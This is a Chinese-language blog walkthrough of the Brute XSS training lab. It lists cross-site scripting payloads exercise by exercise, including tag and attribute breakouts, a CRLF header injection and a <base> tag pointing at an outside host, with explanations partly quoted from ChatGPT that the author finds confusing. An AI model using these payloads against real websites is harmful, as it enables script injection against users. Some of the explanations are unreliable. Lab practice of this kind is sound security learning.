brutelogic-XSS WP
# 靶场解题
靶场:Training XSS Muscles - Brute XSS (brutelogic.com.br)
# Exercise 01
打开是输入框
随便输入一点东西然后查看源代码找输入的地方
把 title
闭合了
payload: xxxxx</title><svg/onload=alert(1)>
# Exercise 02
老样子
闭合前面的,构造 payload: </noscript><svg/onload=alert(1)>
# Exercise 03
还是闭合!
# Exercise 04
参数在属性里面
测试一下过滤的符号:
只剩 <> 没被过滤
也没有 url 解码
考虑构造 '-alert()-'
,尝试编码
对‘进行 html 编码:
& 和 #在 url 里有特殊含义,在进行 url 编码:
payload: %26%23x27-alert(1)-%26%23x27
官方答案: %26apos;-alert(1)-%26apos;
# Exercise 05
这个在文本里
闭合 h1,payload: Gymxxxx</h1><svg/onload=alert(1)>
emmmm 不闭合也行
# Exercise 06
在 value 里
" 和 > 都没被过滤,直接闭合
# Exercise 07
跟上一题一样,只是 " 变成了’
# Exercise 08
>
被转义了
payload: "autofocus/onfocus="alert(1)
-
autofocus
: HTML 属性,用于自动将焦点设置到页面加载时的指定输入字段或元素上。 -
onfocus
: HTML 元素的一个事件处理属性,当元素获得焦点时(比如,用户点击输入框),触发后面的 JavaScript 代码。
# Exercise 09
跟上面同理
# Exercise 10
可以闭合
# Exercise 11
payload: </script><script>alert(1)</script>
# Exercise 12
跟上题一样
# Exercise 13
单引号闭合
# Exercise 14
跟上面一样,但是是用双引号闭合
# Exercise 15
继续用 13 题的 payload,发现单引号被转义
使用转义逃逸
# Exercise 16
跟上面一样
# Exercise 17
' " < >
竟然都没被转义
# Exercise 18
< 被转义
直接 '-alert()-'
一把梭
# Exercise 19
用和上一题一样的 payload 不能弹
1 | \`-alert(1)// |
# Exercise 20
payload: ${alert(1)}
解释 ${alert(1)}
- 模板字符串(Template Literal):
- 在 JavaScript 中,模板字符串使用反引号(```)包围,例如:
Hello, ${name}
`。 - 模板字符串允许嵌入表达式(使用
${expression}
的形式),这些表达式将在字符串插值时被计算和替换。
- 在 JavaScript 中,模板字符串使用反引号(```)包围,例如:
-
${alert(1)}
的作用:- 在
${}
中插入一个 JavaScript 表达式,例如alert(1)
,这个表达式会被执行,结果会被插入到模板字符串中。 - 在这个例子中,
alert(1)
是一个 JavaScript 表达式,它会在浏览器中显示一个带有数字 “1” 的弹窗。
- 在
# Exercise 21
在 href 里,双引号被转义, ' < >
可以使用
啊??官方答案也不弹,直接没了,不知道为什么
# Exercise 22
先闭合 ">,继续闭合 </iframe>
payload: "></iframe><svg/onload=alert(1)>
# Exercise 23
Injection in HTTP Header
我以为需要抓包改包呢,结果答案直接是加在参数上就行
代码片段解释(From:Chat-GPT)
-
%0D%0A
(URL 编码的换行符):%0D
是 URL 编码中的回车符(Carriage Return,CR)。%0A
是 URL 编码中的换行符(Line Feed,LF)。- 在 HTTP 请求和响应中,
%0D%0A
通常表示一个新的行,它们用来分隔请求或响应头部的不同部分。
-
Content-Type:text/html
:- 这是一个 HTTP 响应头部,指示接下来的内容应该以 HTML 格式解析。它的存在表明攻击者试图操纵服务器的响应头,将它们插入到 HTTP 响应流中,以便浏览器解释为 HTML 内容。
-
<svg/onload=alert(1)>
:<svg>
是一个 SVG(可缩放矢量图形)标签,它是一种合法的 HTML 元素。onload
是 SVG 元素的一个事件处理程序属性,当元素加载时,会触发它后面的 JavaScript 代码。alert(1)
是一个 JavaScript 代码片段,用于弹出一个带有数字 “1” 的提示框。- 结合起来,
<svg/onload=alert(1)>
表示一个 SVG 标签,当页面加载时执行alert(1)
。
注入后的源代码:
# Exercise 24
想直接闭合 <script>
但是 < 被转义了
1 | <script> |
我的理解是 p24_1 中 \
把 '
转义为字符,使得他真正的属性是 '/alert(1)//\'; var p24_2 = '
p24_2 的 // 把后面注释掉
导致后面 alert (1) 成为单独的语句并执行
但是 Chat-GPT 告诉我:
代码变形的原因:引号闭合错误
- 原始注入的字符串内容
在这段代码中,假设服务器直接将你输入的参数 /alert(1)//\
注入到变量声明中:
1 | <script> |
这里的注入点是 '/alert(1)//\'
。
- 字符串闭合问题的解释
- 单引号的破坏:
JavaScript 使用单引号'
或双引号"
来定义字符串。在var p24_1 = '/alert(1)//\';
这行代码中,第一个单引号'
用于标识字符串的开始,但接下来的'/alert(1)//\'
中的第二个单引号将被解释为字符串的结束。 - 反斜杠的作用:
在 JavaScript 中,反斜杠\
是一个转义字符,用来将后面的字符转义为普通字符。此处的//\
将被视为注释符号和反斜杠组合,可能会引发解析器的混淆。
- 代码被解析成执行的原因
浏览器在解析这段代码时,它会认为:
1 | var p24_1 = '/alert(1)//\'; |
被截断成了:
1 | var p24_1 = ''; // 截断的字符串 |
- 第一部分 (
var p24_1 = ''
):
浏览器将认为字符串从'/alert(1)//\'
的开始'
到后面的第二个单引号\''
被结束,所以下面的alert(1)
被认为是独立的 JavaScript 代码块。 -
alert(1)
的执行:
浏览器解释代码时,alert(1)
是有效的 JavaScript 代码,所以它会执行。 - 注释符
//
的作用:
JavaScript 中//
后面的所有内容都被认为是注释。因此,后面的部分' var p24_2 = '';
被注释掉,不会被执行。
- 最终代码结构
最终,浏览器看到的代码变成了:
1 | var p24_1 = ''; // 空字符串 |
我不理解!!!!!!!!!!!
# Exercise 25
1 | var cS = document.location.search; |
-
document.location.search
document.location.search
返回当前页面 URL 中的查询字符串部分,即问号?
后面的所有内容。- 例如,如果当前页面的 URL 是
https://example.com/page?param1=value1&p25=value2
,那么document.location.search
的值将是?param1=value1&p25=value2
。
-
new URLSearchParams(cS)
new URLSearchParams(cS)
创建一个URLSearchParams
对象,用于解析查询字符串cS
。URLSearchParams
是一个内置的 JavaScript 对象,它提供了一些便捷的方法来操作 URL 查询参数。
-
sP.get('p25')
sP.get('p25')
使用URLSearchParams
对象的方法get
来获取查询字符串中p25
参数的值。- 如果查询字符串中存在
p25
,比如?param1=value1&p25=value2
,那么sP.get('p25')
将返回'value2'
。 - 如果查询字符串中不存在
p25
参数,则sP.get('p25')
将返回null
。
# Exercise 26
这他妈给我重定向哪来了
# Exercise 27
直接弹
# Exercise 28
注入点在注释里,直接闭合
# Exercise 29
只有在输入 <!-->
才会显示这一行
<!-->
:注释结束符
- 在 HTML 中,
<!--
和-->
分别表示注释的开始和结束。 - 这个片段使用了
-->
(注释结束符)来打破或 “闭合” 前面的注释。这种技巧可以用来绕过基于 HTML 注释的过滤机制。
payload: <!--><svg/onload=alert(1)-->
先结束注释前面内容,再执行 alert
# Exercise 30
只有 '
没被转义
尝试 html 编码: \74img/src/onerror=alert(1)\76
当浏览器解析这个代码时,它会将 \74
转换成 <
,并将 \76
转换成 >
,从而得到:
1 | <img src onerror=alert(1)> |
# Exercise 31
按照答案无法复现,难以理解,遂放弃
# Exercise 32
Injection in URL
🤔
牛逼,第一次见
# Exercise 33
1. <base>
标签
-
<base>
标签:<base>
是一个 HTML 标签,用于指定文档中所有相对 URL 的基准 URL。- 例如,如果在 HTML 文档的头部包含
<base href="https://example.com/">
,那么文档中的所有相对 URL(如/images/pic.jpg
)都会被解析为https://example.com/images/pic.jpg
。
-
<base href=//X55.is>
:<base href=//X55.is>
指定了一个新的基准 URL//X55.is
。注意没有协议(如http:
或https:
),这是一个相对协议的 URL,浏览器将使用当前页面的协议(http
或https
)来解析它。- 如果攻击者将这个基准 URL 插入到页面中,所有相对 URL(如脚本、链接、图像等)将被重定向到
X55.is
。
2. 潜在的攻击场景
-
XSS 攻击:
- 如果应用程序将用户输入的内容直接插入到页面的
<head>
中,并且没有进行适当的转义或过滤,攻击者可以插入<base>
标签来改变页面中所有相对 URL 的行为。例如:
1
2
3
4
5html复制代码<head>
...
<base href="//X55.is">
...
</head>-
这会导致所有相对路径资源(如图片、脚本、链接)指向
1
X55.is
域。这可能导致:
- 静态资源劫持:攻击者控制的域上提供恶意脚本、样式或其他资源。
- 恶意重定向:所有链接将引导用户到攻击者控制的站点。
- 如果应用程序将用户输入的内容直接插入到页面的
-
内容安全策略(CSP)绕过:
- 如果服务器实现了 CSP 以防止外部脚本或资源的加载,
<base>
标签的注入可能绕过这种保护。如果 CSP 规则允许<base>
标签的存在,攻击者可以利用此标签将资源基准指向外部站点,从而加载未经授权的内容。
- 如果服务器实现了 CSP 以防止外部脚本或资源的加载,
- Title: brutelogic-XSS WP
- Author: Fc04dB
- Created at : 2024-09-06 13:23:31
- Updated at : 2024-09-07 00:13:49
- Link: https://redefine.ohevan.com/2024/09/06/brutelogic-XSS-WP/
- License: This work is licensed under CC BY-NC-SA 4.0.